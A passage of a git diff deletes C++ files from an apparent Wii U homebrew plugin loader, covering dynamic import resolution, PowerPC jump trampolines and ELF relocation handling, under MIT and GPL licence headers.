-    for(int32_t i = 0; i < DYN_LINK_IMPORT_LIST_LENGTH; i++) {
-        dyn_linking_import_t * curEntry = &gbl_dyn_linking_data.imports[i];
-        if(strlen(curEntry->importName) == 0) {
-            strncpy(curEntry->importName,importName,DYN_LINK_IMPORT_NAME_LENGTH);
-            curEntry->isData = isData;
-            result = curEntry;
-            break;
-        }
-        if(strncmp(curEntry->importName,importName,DYN_LINK_IMPORT_NAME_LENGTH) == 0 && (curEntry->isData == isData)) {
-            return curEntry;
-        }
-    }
-    return result;
-}
-
-bool DynamicLinkingHelper::addReloationEntry(RelocationData * relocationData) {
-    return addReloationEntry(relocationData->getType(), relocationData->getOffset(), relocationData->getAddend(), relocationData->getDestination(), relocationData->getName(), relocationData->getImportRPLInformation());
-}
-
-bool DynamicLinkingHelper::addReloationEntry(char type, size_t offset, int32_t addend, void *destination, std::string name, ImportRPLInformation * rplInfo) {
-    dyn_linking_import_t * importInfoGbl = DynamicLinkingHelper::getOrAddImport(rplInfo->getName().c_str(),rplInfo->isData());
-    if(importInfoGbl == NULL) {
-        DEBUG_FUNCTION_LINE("Getting import info failed. Probably maximum of %d rpl files to import reached.\n",DYN_LINK_IMPORT_LIST_LENGTH);
-        return false;
-    }
-
-    dyn_linking_function_t * functionInfo = DynamicLinkingHelper::getOrAddFunctionEntryByName(name.c_str());
-    if(functionInfo == NULL) {
-        DEBUG_FUNCTION_LINE("Getting import info failed. Probably maximum of %d function to be relocated reached.\n",DYN_LINK_FUNCTION_LIST_LENGTH);
-        return false;
-    }
-
-    return addReloationEntry(type, offset, addend, destination, functionInfo, importInfoGbl);
-}
-
-bool DynamicLinkingHelper::addReloationEntry(char type, size_t offset, int32_t addend, void *destination, dyn_linking_function_t * functionName, dyn_linking_import_t * importInfo) {
-    for(int32_t i = 0; i < DYN_LINK_RELOCATION_LIST_LENGTH; i++) {
-        dyn_linking_relocation_entry_t * curEntry = &gbl_dyn_linking_data.entries[i];
-        if(curEntry->functionEntry != NULL) {
-            continue;
-        }
-        curEntry->type = type;
-        curEntry->offset = offset;
-        curEntry->addend = addend;
-        curEntry->destination = destination;
-        curEntry->functionEntry = functionName;
-        curEntry->importEntry = importInfo;
-
-        return true;
-    }
-    return false;
-}
-
-std::vector<dyn_linking_relocation_entry_t *> DynamicLinkingHelper::getAllValidDynamicLinkingRelocations() {
-    std::vector<dyn_linking_relocation_entry_t *> result;
-    for(int32_t i = 0; i < DYN_LINK_RELOCATION_LIST_LENGTH; i++) {
-        if(gbl_dyn_linking_data.entries[i].functionEntry == NULL) {
-            break;
-        }
-        result.push_back(&gbl_dyn_linking_data.entries[i]);
-    }
-    return result;
-}
-
-bool DynamicLinkingHelper::fillRelocations(std::vector<dyn_linking_relocation_entry_t *> entries ) {
-    for(size_t i = 0; i < entries.size(); i++) {
-        dyn_linking_relocation_entry_t * curEntry = entries[i];
-        dyn_linking_function_t * functionEntry = curEntry->functionEntry;
-        void * destination = curEntry->destination;
-        if(functionEntry == NULL) {
-            DEBUG_FUNCTION_LINE("FunctionEntry was NULL\n");
-            return false;
-        }
-        if(destination == NULL) {
-            DEBUG_FUNCTION_LINE("destination was NULL\n");
-            return false;
-        }
-        if(functionEntry->address == NULL) {
-            dyn_linking_import_t * importEntry = curEntry->importEntry;
-
-            if(importEntry == NULL) {
-                DEBUG_FUNCTION_LINE("importEntry was NULL\n");
-                return false;
-            }
-
-            if(importEntry->handle != 0) {
-                //DEBUG_FUNCTION_LINE("We cached import handle for %s\n",importEntry->importName);
-            } else {
-                OSDynLoad_Acquire(importEntry->importName, &importEntry->handle);
-            }
-            int32_t isData = 0;
-            if(importEntry->isData) {
-                isData = 1;
-                //DEBUG_FUNCTION_LINE("isData\n");
-            }
-            OSDynLoad_FindExport(importEntry->handle, isData, functionEntry->functionName, &functionEntry->address);
-
-            if(!functionEntry->address) {
-                DEBUG_FUNCTION_LINE("OSDynLoad_FindExport failed for %s on import %s\n", functionEntry->functionName,importEntry->importName);
-                return false;
-            } else {
-                //DEBUG_FUNCTION_LINE("OSDynLoad_FindExport successful for %s on import %s: %08X\n",functionEntry->functionName,importEntry->importName,functionEntry->address);
-
-                /*
-                90 61 ff e0     stw     r3,-32(r1)
-                3c 60 12 34     lis     r3,4660
-                60 63 56 78     ori     r3,r3,22136
-                7c 69 03 a6     mtctr   r3
-                80 61 ff e0     lwz     r3,-32(r1)
-                4e 80 04 20     bctr*/
-                functionEntry->big_jump[0] = 0x9061FFE0;
-                functionEntry->big_jump[1] = 0x3C600000 | ((((uint32_t) functionEntry->address) >> 16) & 0x0000FFFF); // lis r3, real_addr@h
-                functionEntry->big_jump[2] = 0x60630000 |  (((uint32_t) functionEntry->address) & 0x0000ffff); // ori r3, r3, real_addr@l
-                functionEntry->big_jump[3] = 0x7C6903A6; // mtctr   r3
-                functionEntry->big_jump[4] = 0x8061FFE0; // lwz     r3,-32(r1)
-                functionEntry->big_jump[5] = 0x4E800420; // bctr
-                DCFlushRange((void*)functionEntry->big_jump, sizeof(functionEntry->big_jump));
-                ICInvalidateRange((unsigned char*)functionEntry->big_jump, sizeof(functionEntry->big_jump));
-
-                //DEBUG_FUNCTION_LINE("Created jump code address: %08X big_jump: %08X for %s \n",functionEntry->address,functionEntry->big_jump,functionEntry->functionName);
-                //dumpHex(functionEntry->big_jump,sizeof(functionEntry->big_jump));
-            }
-        } else {
-            //DEBUG_FUNCTION_LINE("We cached the address of function %s :%08X\n",functionEntry->functionName,functionEntry->address);
-        }
-
-        //DEBUG_FUNCTION_LINE("Linking: t: %02X o: %08X a: %d dest: %08X tar: %08X big_j: %08X\n",curEntry->type, curEntry->offset, curEntry->addend, curEntry->destination, functionEntry->address, (uint32_t) functionEntry->big_jump);
-
-        DEBUG_FUNCTION_LINE("Resolving relocation to %s\n",functionEntry->functionName);
-
-        if(!curEntry->importEntry->isData && (uint32_t) functionEntry->address > 0x01FFFFC) {
-            ElfTools::elfLinkOne(curEntry->type, curEntry->offset, curEntry->addend, curEntry->destination, (uint32_t) functionEntry->big_jump);
-        } else {
-            ElfTools::elfLinkOne(curEntry->type, curEntry->offset, curEntry->addend, curEntry->destination, (uint32_t) functionEntry->address);
-        }
-
-    }
-
-    PluginLoader::flushCache();
-
-    DEBUG_FUNCTION_LINE("Clearing cache.\n");
-    for(size_t i = 0; i < entries.size(); i++) {
-        dyn_linking_relocation_entry_t * curEntry = entries[i];
-        curEntry->functionEntry->address = 0;
-        curEntry->importEntry->handle = 0;
-    }
-    return true;
-}
-
-void DynamicLinkingHelper::clearAll() {
-    memset((void*)&gbl_dyn_linking_data,0,sizeof(gbl_dyn_linking_data));
-}
diff --git a/src/plugin/DynamicLinkingHelper.h b/src/plugin/DynamicLinkingHelper.h
deleted file mode 100644
index 7a5bef8..0000000
--- a/src/plugin/DynamicLinkingHelper.h
+++ /dev/null
@@ -1,94 +0,0 @@
-#ifndef DYNAMICLINKINGHELPER_H
-#define DYNAMICLINKINGHELPER_H
-
-#include "common/retain_vars.h"
-#include "dynamic_linking_defines.h"
-#include "utils/logger.h"
-#include <string>
-#include <vector>
-#include "RelocationData.h"
-
-class DynamicLinkingHelper {
-public:
-    static DynamicLinkingHelper *getInstance() {
-        if(!instance) {
-            instance = new DynamicLinkingHelper();
-        }
-        return instance;
-    }
-
-    static void destroyInstance() {
-        if(instance) {
-            delete instance;
-            instance = NULL;
-        }
-    }
-
-
-    /**
-        Gets the function entry for a given function name. If the function name is not present in the list, it will be added.
-
-        \param functionName Name of the function
-        \return Returns a pointer to the entry which contains the functionName. Null on error or if the list full.
-    **/
-    dyn_linking_function_t * getOrAddFunctionEntryByName(const char * functionName);
-
-    /**
-        Gets the function import entry for a given function name. If the import is not present in the list, it will be added.
-        This will return entries for _function_ imports.
-
-        \param importName Name of the function
-        \return Returns a pointer to the function import entry which contains the importName. Null on error or if the list full.
-    **/
-    dyn_linking_import_t * getOrAddFunctionImportByName(const char * importName);
-
-
-    /**
-        Gets the data import entry for a given data name. If the import is not present in the list, it will be added.
-        This will return entries for _data_ imports.
-
-        \param importName Name of the data
-        \return Returns a pointer to the data import entry which contains the importName. Null on error or if the list full.
-    **/
-    dyn_linking_import_t * getOrAddDataImportByName(const char * importName);
-
-
-    /**
-        Gets the import entry for a given data name and type. If the import is not present in the list, it will be added.
-        This will return entries for _data_ and _function_ imports, depending on the isData parameter.
-
-        \param importName Name of the data
-        \param isData Set this to true to return a data import
-
-        \return Returns a pointer to the data import entry which contains the importName. Null on error or if the list full.
-    **/
-    dyn_linking_import_t * getOrAddImport(const char * importName, bool isData);
-
-
-    bool addReloationEntry(RelocationData * relocationData);
-
-    bool addReloationEntry(char type, size_t offset, int32_t addend, void *destination, std::string name, ImportRPLInformation * rplInfo);
-
-    bool addReloationEntry(char type, size_t offset, int32_t addend, void *destination, dyn_linking_function_t * functionName, dyn_linking_import_t * importInfo);
-
-    std::vector<dyn_linking_relocation_entry_t *> getAllValidDynamicLinkingRelocations();
-
-    bool fillRelocations(std::vector<dyn_linking_relocation_entry_t *> entries );
-
-    void clearAll();
-
-
-protected:
-private:
-
-    DynamicLinkingHelper() {
-    }
-
-    ~DynamicLinkingHelper() {
-
-    }
-
-    static DynamicLinkingHelper *instance;
-};
-
-#endif // DYNAMICLINKINGHELPER_H
diff --git a/src/plugin/ElfTools.cpp b/src/plugin/ElfTools.cpp
deleted file mode 100644
index e6fc23a..0000000
--- a/src/plugin/ElfTools.cpp
+++ /dev/null
@@ -1,501 +0,0 @@
-/* based on module.c
- *   by Alex Chadwick
- *
- * Copyright (C) 2014, Alex Chadwick
- * Modified 2018, Maschell
- *
- * Permission is hereby granted, free of charge, to any person obtaining a copy
- * of this software and associated documentation files (the "Software"), to deal
- * in the Software without restriction, including without limitation the rights
- * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
- * copies of the Software, and to permit persons to whom the Software is
- * furnished to do so, subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be included in
- * all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
- * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
- * SOFTWARE.
- */
-
-#include "ElfTools.h"
-#include "RelocationData.h"
-#include "ImportRPLInformation.h"
-#include <string.h>
-#include <malloc.h>
-#include <libelf.h>
-#include <utils/logger.h>
-
-bool ElfTools::elfLoadSection(const Elf *elf, Elf_Scn *scn, const Elf32_Shdr *shdr,void *destination) {
-    if (destination == NULL) {
-        return false;
-    }
-
-    switch (shdr->sh_type) {
-    case SHT_SYMTAB:
-    case SHT_PROGBITS: {
-        Elf_Data *data;
-        size_t n;
-
-        n = 0;
-        for (data = elf_getdata(scn, NULL); data != NULL; data = elf_getdata(scn, data)) {
-            memcpy((char *)destination + n, data->d_buf, data->d_size);
-            n += data->d_size;
-        }
-        return true;
-    }
-    case SHT_NOBITS: {
-        memset(destination, 0, shdr->sh_size);
-        return true;
-    }
-    default:
-        return false;
-    }
-}
-
-bool ElfTools::loadElfSymtab(Elf *elf, Elf32_Sym **symtab, size_t *symtab_count, size_t *symtab_strndx) {
-    Elf_Scn *scn;
-    bool result = false;
-
-    for (scn = elf_nextscn(elf, NULL); scn != NULL; scn = elf_nextscn(elf, scn)) {
-
-        Elf32_Shdr *shdr;
-
-        shdr = elf32_getshdr(scn);
-        if (shdr == NULL) {
-            continue;
-        }
-
-        if (shdr->sh_type == SHT_SYMTAB) {
-            size_t sym;
-
-            if (*symtab != NULL) {
-                continue;
-            }
-
-            *symtab = (Elf32_Sym *)malloc(shdr->sh_size);
-            if (*symtab == NULL) {
-                continue;
-            }
-
-            *symtab_count = shdr->sh_size / sizeof(Elf32_Sym);
-            *symtab_strndx = shdr->sh_link;
-
-            if (!elfLoadSection(elf, scn, shdr, *symtab)) {
-                goto exit_error;
-            }
-
-            for (sym = 0; sym < *symtab_count; sym++) {
-                (*symtab)[sym].st_other = 0;
-            }
-
-            break;
-        }
-    }
-
-    if (*symtab == NULL) {
-        goto exit_error;
-    }
-
-    result = true;
-exit_error:
-    return result;
-}
-
-
-void ElfTools::elfLoadSymbols(size_t shndx, const void *destination, Elf32_Sym *symtab, size_t symtab_count) {
-    size_t i;
-
-    /* use the st_other field (no defined meaning) to indicate whether or not a
-     * symbol address has been calculated. */
-    for (i = 0; i < symtab_count; i++) {
-        if (symtab[i].st_shndx == shndx &&
-                symtab[i].st_other == 0) {
-
-            symtab[i].st_value += (Elf32_Addr)destination;
-            symtab[i].st_other = 1;
-        }
-    }
-}
-
-
-bool ElfTools::elfLink(Elf *elf, size_t shndx, void *destination, Elf32_Sym *symtab, size_t symtab_count, size_t symtab_strndx, bool allow_globals, PluginData * pluginData) {
-    Elf_Scn *scn;
-
-    for (scn = elf_nextscn(elf, NULL); scn != NULL; scn = elf_nextscn(elf, scn)) {
-        Elf32_Shdr *shdr;
-
-        shdr = elf32_getshdr(scn);
-        if (shdr == NULL)
-            continue;
-
-        switch (shdr->sh_type) {
-        case SHT_REL: {
-            const Elf32_Rel *rel;
-            Elf_Data *data;
-            size_t i;
-
-            if (shdr->sh_info != shndx) {
-                continue;
-            }
-
-            data = elf_getdata(scn, NULL);
-            if (data == NULL) {
-                continue;
-            }
-
-            rel = (const Elf32_Rel *) data->d_buf;
-
-            for (i = 0; i < shdr->sh_size / sizeof(Elf32_Rel); i++) {
-                uint32_t symbol_addr;
-                size_t symbol;
-
-                symbol = ELF32_R_SYM(rel[i].r_info);
-
-                if (symbol > symtab_count) {
-                    DEBUG_FUNCTION_LINE("symbol > symtab_count\n");
-                    return false;
-                }
-
-                switch (symtab[symbol].st_shndx) {
-                case SHN_ABS: {
-                    symbol_addr = symtab[symbol].st_value;
-                    break;
-                }
-                case SHN_COMMON: {
-                    DEBUG_FUNCTION_LINE("case SHN_COMMON\n");
-                    return false;
-                }
-                case SHN_UNDEF: {
-
-                    if (allow_globals) {
-                        DEBUG_FUNCTION_LINE("The elf still have unresolved relocations. This is not supported.");
-                        /*
-                        Not support and not needed.
-
-                        module_unresolved_relocation_t *reloc;
-                        char *name;
-
-                        reloc = (module_unresolved_relocation_t *) Module_ListAllocate(
-                            &module_relocations,
-                            sizeof(module_unresolved_relocation_t), 1,
-                            &module_relocations_capacity,
-                            &module_relocations_count,
-                            PLUGIN_RELOCATIONS_CAPCITY_DEFAULT);
-                        if (reloc == NULL)
-                            return false;
-
-                        name = elf_strptr(
-                            elf, symtab_strndx, symtab[symbol].st_name);
-
-                        if (name == NULL) {
-                            module_relocations_count--;
-                            return false;
-                        }
-
-                        reloc->name = strdup(name);
-                        if (reloc->name == NULL) {
-                            module_relocations_count--;
-                            return false;
-                        }
-
-                        reloc->module = index;
-                        reloc->address = destination;
-                        reloc->offset = rel[i].r_offset;
-                        reloc->type = ELF32_R_TYPE(rel[i].r_info);
-                        reloc->addend = *(int32_t *)((char *)destination + rel[i].r_offset);
-
-                        continue;
-                        */
-                        return false;
-                    } else {
-                        DEBUG_FUNCTION_LINE("case SHN_UNDEF with !allow_globals\n");
-                        return false;
-                    }
-                }
-                default: {
-                    if (symtab[symbol].st_other != 1) {
-
-                        DEBUG_FUNCTION_LINE("symtab[symbol].st_other != 1. it's %d %08X\n",symtab[symbol].st_other,symtab[symbol].st_other);
-                        return false;
-                    }
-
-                    symbol_addr = symtab[symbol].st_value;
-                    break;
-                }
-                }
-
-                if (!ElfTools::elfLinkOne(ELF32_R_TYPE(rel[i].r_info), rel[i].r_offset, *(int32_t *)((char *)destination + rel[i].r_offset), destination, symbol_addr)) {
-                    DEBUG_FUNCTION_LINE("elfLinkOne failed\n");
-                    return false;
-                }
-            }
-            break;
-        }
-        case SHT_RELA: {
-            const Elf32_Rela *rela;
-            Elf_Data *data;
-            size_t i;
-
-            if (shdr->sh_info != shndx)
-                continue;
-
-            data = elf_getdata(scn, NULL);
-            if (data == NULL)
-                continue;
-
-            rela = (const Elf32_Rela *) data->d_buf;
-
-            for (i = 0; i < shdr->sh_size / sizeof(Elf32_Rela); i++) {
-                uint32_t symbol_addr;
-                size_t symbol;
-
-                symbol = ELF32_R_SYM(rela[i].r_info);
-
-                if (symbol > symtab_count) {
-                    DEBUG_FUNCTION_LINE("symbol > symtab_count\n");
-                    return false;
-                }
-
-                switch (symtab[symbol].st_shndx) {
-                case SHN_ABS: {
-                    symbol_addr = symtab[symbol].st_value;
-                    break;
-                }
-                case SHN_COMMON: {
-                    uint32_t align = symtab[symbol].st_value;
-                    uint32_t size = symtab[symbol].st_size;
-
-                    uint32_t address = pluginData->getMemoryForCommonBySymbol(symbol, align, size);
-                    if(address == 0) {
-                        DEBUG_FUNCTION_LINE("Failed to get memory for common relocation\n");
-                        return false;
-                    }
-
-                    if (!ElfTools::elfLinkOne(ELF32_R_TYPE(rela[i].r_info), rela[i].r_offset,rela[i].r_addend, destination, address)) {
-                        DEBUG_FUNCTION_LINE("elfLinkOne failed\n");
-                        return false;
-                    }
-
-                    break;
-                }
-                case SHN_UNDEF: {
-                    if (allow_globals) {
-                        char *name = elf_strptr(elf, symtab_strndx, symtab[symbol].st_name);
-                        DEBUG_FUNCTION_LINE("The elf still have unresolved relocations. This is not supported: %s \n",name);
-
-                        /*
-
-                        char *name = elf_strptr(elf, symtab_strndx, symtab[symbol].st_name);
-                        DEBUG_FUNCTION_LINE("%s %08X\n",name,symtab[symbol].st_value);
-
-                        Not support and not needed.
-                        module_unresolved_relocation_t *reloc;
-                        char *name;
-
-                        reloc = (module_unresolved_relocation_t *) Module_ListAllocate(
-                            &module_relocations,
-                            sizeof(module_unresolved_relocation_t), 1,
-                            &module_relocations_capacity,
-                            &module_relocations_count,
-                            PLUGIN_RELOCATIONS_CAPCITY_DEFAULT);
-                        if (reloc == NULL)
-                            return false;
-
-                        name = elf_strptr(
-                            elf, symtab_strndx, symtab[symbol].st_name);
-
-                        if (name == NULL) {
-                            module_relocations_count--;
-                            return false;
-                        }
-
-                        reloc->name = strdup(name);
-                        if (reloc->name == NULL) {
-                            module_relocations_count--;
-                            return false;
-                        }
-
-                        DEBUG_FUNCTION_LINE("Adding relocation!\n");
-
-                        reloc->module = index;
-                        reloc->address = destination;
-                        reloc->offset = rela[i].r_offset;
-                        reloc->type = ELF32_R_TYPE(rela[i].r_info);
-                        reloc->addend = rela[i].r_addend;
-
-                        continue;*/
-                        continue;
-                    } else {
-                        DEBUG_FUNCTION_LINE("case SHN_UNDEF with !allow_global\n");
-                        return false;
-                    }
-                }
-                default: {
-                    if (symtab[symbol].st_other != 1) {
-                        char *name = elf_strptr(elf, symtab_strndx, symtab[symbol].st_name);
-                        if(pluginData == NULL) {
-                            DEBUG_FUNCTION_LINE("No plugin data provided, but we (probably) need it.\n");
-                            return false;
-                        }
-
-                        ImportRPLInformation * rplInfo = pluginData->getImportRPLInformationBySectionHeaderIndex(symtab[symbol].st_shndx);
-                        if(rplInfo == NULL) {
-                            DEBUG_FUNCTION_LINE("Couldn't find ImportRPLInformation for section header index %d \n", symtab[symbol].st_shndx);
-                            return false;
-                        }
-                        RelocationData * relocationData = new RelocationData(ELF32_R_TYPE(rela[i].r_info), rela[i].r_offset,rela[i].r_addend, destination, name, rplInfo);
-                        pluginData->addRelocationData(relocationData);
-
-                        continue;
-                    }
-                    symbol_addr = symtab[symbol].st_value;
-                    break;
-                }
-                }
-
-                if (!ElfTools::elfLinkOne(ELF32_R_TYPE(rela[i].r_info), rela[i].r_offset,rela[i].r_addend, destination, symbol_addr)) {
-                    DEBUG_FUNCTION_LINE("elfLinkOne failed\n");
-                    return false;
-                }
-            }
-            break;
-        }
-        }
-    }
-
-    return true;
-}
-
-bool ElfTools::elfLinkOne(char type, size_t offset, int32_t addend, void *destination, uint32_t symbol_addr) {
-    int32_t value;
-    char *target = (char *)destination + offset;
-    bool result = false;
-
-    switch (type) {
-    case R_PPC_ADDR32:
-    case R_PPC_ADDR24:
-    case R_PPC_ADDR16:
-    case R_PPC_ADDR16_HI:
-    case R_PPC_ADDR16_HA:
-    case R_PPC_ADDR16_LO:
-    case R_PPC_ADDR14:
-    case R_PPC_ADDR14_BRTAKEN:
-    case R_PPC_ADDR14_BRNTAKEN:
-    case R_PPC_UADDR32:
-    case R_PPC_UADDR16: {
-        value = (int32_t)symbol_addr + addend;
-        break;
-    }
-    case R_PPC_REL24:
-    case R_PPC_PLTREL24:
-    case R_PPC_LOCAL24PC:
-    case R_PPC_REL14:
-    case R_PPC_REL14_BRTAKEN:
-    case R_PPC_REL14_BRNTAKEN:
-    case R_PPC_REL32:
-    case R_PPC_ADDR30: {
-        value = (int32_t)symbol_addr + addend - (int32_t)target;
-        break;
-    }
-    case R_PPC_SECTOFF:
-    case R_PPC_SECTOFF_LO:
-    case R_PPC_SECTOFF_HI:
-    case R_PPC_SECTOFF_HA: {
-        value = offset + addend;
-        break;
-    }
-    case R_PPC_EMB_NADDR32:
-    case R_PPC_EMB_NADDR16:
-    case R_PPC_EMB_NADDR16_LO:
-    case R_PPC_EMB_NADDR16_HI:
-    case R_PPC_EMB_NADDR16_HA: {
-        value = addend - (int32_t)symbol_addr;
-        break;
-    }
-    default:
-        DEBUG_FUNCTION_LINE("Unknown relocation type: %02X\n",type);
-        goto exit_error;
-    }
-
-    switch (type) {
-    case R_PPC_ADDR32:
-    case R_PPC_UADDR32:
-    case R_PPC_REL32:
-    case R_PPC_SECTOFF:
-    case R_PPC_EMB_NADDR32: {
-        *(int32_t *)target = value;
-        break;
-    }
-    case R_PPC_ADDR24:
-    case R_PPC_PLTREL24:
-    case R_PPC_LOCAL24PC:
-    case R_PPC_REL24: {
-        *(int32_t *)target =
-            (*(int32_t *)target & 0xfc000003) | (value & 0x03fffffc);
-        break;
-    }
-    case R_PPC_ADDR16:
-    case R_PPC_UADDR16:
-    case R_PPC_EMB_NADDR16: {
-        *(short *)target = value;
-        break;
-    }
-    case R_PPC_ADDR16_HI:
-    case R_PPC_SECTOFF_HI:
-    case R_PPC_EMB_NADDR16_HI: {
-        *(short *)target = value >> 16;
-        break;
-    }
-    case R_PPC_ADDR16_HA:
-    case R_PPC_SECTOFF_HA:
-    case R_PPC_EMB_NADDR16_HA: {
-        *(short *)target = (((value >> 16) + ((value & 0x8000) ? 1 : 0))) & 0xFFFF;
-        break;
-    }
-    case R_PPC_ADDR16_LO:
-    case R_PPC_SECTOFF_LO:
-    case R_PPC_EMB_NADDR16_LO: {
-        *(short *)target = value & 0xffff;
-        break;
-    }
-    case R_PPC_ADDR14:
-    case R_PPC_REL14: {
-        *(int32_t *)target =
-            (*(int32_t *)target & 0xffff0003) | (value & 0x0000fffc);
-        break;
-    }
-    case R_PPC_ADDR14_BRTAKEN:
-    case R_PPC_REL14_BRTAKEN: {
-        *(int32_t *)target =
-            (*(int32_t *)target & 0xffdf0003) | (value & 0x0000fffc) |
-            0x00200000;
-        break;
-    }
-    case R_PPC_ADDR14_BRNTAKEN:
-    case R_PPC_REL14_BRNTAKEN: {
-        *(int32_t *)target =
-            (*(int32_t *)target & 0xffdf0003) | (value & 0x0000fffc);
-        break;
-    }
-    case R_PPC_ADDR30: {
-        *(int32_t *)target =
-            (*(int32_t *)target & 0x00000003) | (value & 0xfffffffc);
-        break;
-    }
-    default:
-        goto exit_error;
-    }
-
-    result = true;
-exit_error:
-    if (!result)
-        DEBUG_FUNCTION_LINE("Plugin_ElfLinkOne: exit_error\n");
-    return result;
-}
-
diff --git a/src/plugin/ElfTools.h b/src/plugin/ElfTools.h
deleted file mode 100644
index 6edd372..0000000
--- a/src/plugin/ElfTools.h
+++ /dev/null
@@ -1,52 +0,0 @@
-/* based on module.c
- *   by Alex Chadwick
- *
- * Copyright (C) 2014, Alex Chadwick
- * Modified 2018, Maschell
- *
- * Permission is hereby granted, free of charge, to any person obtaining a copy
- * of this software and associated documentation files (the "Software"), to deal
- * in the Software without restriction, including without limitation the rights
- * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
- * copies of the Software, and to permit persons to whom the Software is
- * furnished to do so, subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be included in
- * all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
- * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
- * SOFTWARE.
- */
-
-#ifndef _ELF_TOOLS_H_
-#define _ELF_TOOLS_H_
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include <libelf.h>
-
-#ifdef __cplusplus
-}
-#endif
-
-
-#include "PluginData.h"
-
-class ElfTools {
-
-public:
-    static bool elfLoadSection(const Elf *elf, Elf_Scn *scn, const Elf32_Shdr *shdr,void *destination);
-    static bool loadElfSymtab(Elf *elf, Elf32_Sym **symtab, size_t *symtab_count, size_t *symtab_strndx);
-    static void elfLoadSymbols(size_t shndx, const void *destination, Elf32_Sym *symtab, size_t symtab_count);
-    static bool elfLink(Elf *elf, size_t shndx, void *destination, Elf32_Sym *symtab, size_t symtab_count, size_t symtab_strndx, bool allow_globals, PluginData * pluginData = NULL);
-    static bool elfLinkOne(char type, size_t offset, int32_t addend, void *destination, uint32_t symbol_addr);
-};
-
-#endif
diff --git a/src/plugin/ImportRPLInformation.h b/src/plugin/ImportRPLInformation.h
deleted file mode 100644
index 17273a5..0000000
--- a/src/plugin/ImportRPLInformation.h
+++ /dev/null
@@ -1,79 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#ifndef _IMPORT_RPL_INFORMATION_H_
-#define _IMPORT_RPL_INFORMATION_H_
-
-#include <wups.h>
-#include <string>
-
-class ImportRPLInformation {
-
-public:
-    ImportRPLInformation(int32_t section_header_index, std::string name, bool isData = false) {
-        this->name = name;
-        this->section_header_index = section_header_index;
-        this->_isData = isData;
-    }
-
-    ~ImportRPLInformation() {
-
-    }
-
-    static ImportRPLInformation * createImportRPLInformation(int32_t section_header_index, std::string rawSectionName) {
-        std::string fimport = ".fimport_";
-        std::string dimport = ".dimport_";
-
-        bool data = false;
-
-        std::string rplName = "";
-
-        if(rawSectionName.size() < fimport.size()) {
-            return NULL;
-        } else if (std::equal(fimport.begin(), fimport.end(), rawSectionName.begin())) {
-            rplName = rawSectionName.substr(fimport.size());
-        } else if (std::equal(dimport.begin(), dimport.end(), rawSectionName.begin())) {
-            rplName = rawSectionName.substr(dimport.size());
-            data = true;
-        } else {
-            DEBUG_FUNCTION_LINE("invalid section name\n");
-            return NULL;
-        }
-        DEBUG_FUNCTION_LINE("Adding %s of section index %02X. %d\n",rplName.c_str(),section_header_index,data);
-        return new ImportRPLInformation(section_header_index, rplName, data);
-    }
-
-    std::string getName() {
-        return name;
-    }
-
-    int32_t getSectionHeaderIndex() {
-        return section_header_index;
-    }
-
-    bool isData() {
-        return _isData;
-    }
-
-private:
-    std::string name;
-    bool _isData = false;
-    int32_t section_header_index = 0;
-};
-
-
-#endif
diff --git a/src/plugin/PluginData.cpp b/src/plugin/PluginData.cpp
deleted file mode 100644
index 86d7a93..0000000
--- a/src/plugin/PluginData.cpp
+++ /dev/null
@@ -1,43 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#include <string>
-#include <vector>
-#include <map>
-#include "PluginData.h"
-#include "PluginLoader.h"
-
-ImportRPLInformation * PluginData::getImportRPLInformationBySectionHeaderIndex(int32_t section_header_index) {
-    for(size_t i = 0; i< importRPLInformation_list.size(); i++) {
-        if(importRPLInformation_list[i] != NULL && importRPLInformation_list[i]->getSectionHeaderIndex() == section_header_index) {
-            return importRPLInformation_list[i];
-        }
-    }
-    return NULL;
-}
-
-uint32_t PluginData::getMemoryForCommonBySymbol(size_t symbol, size_t align, size_t size) {
-    std::map<size_t,uint32_t>::iterator it = memoryBySymbol.find(symbol);
-    if(it == memoryBySymbol.end()) {
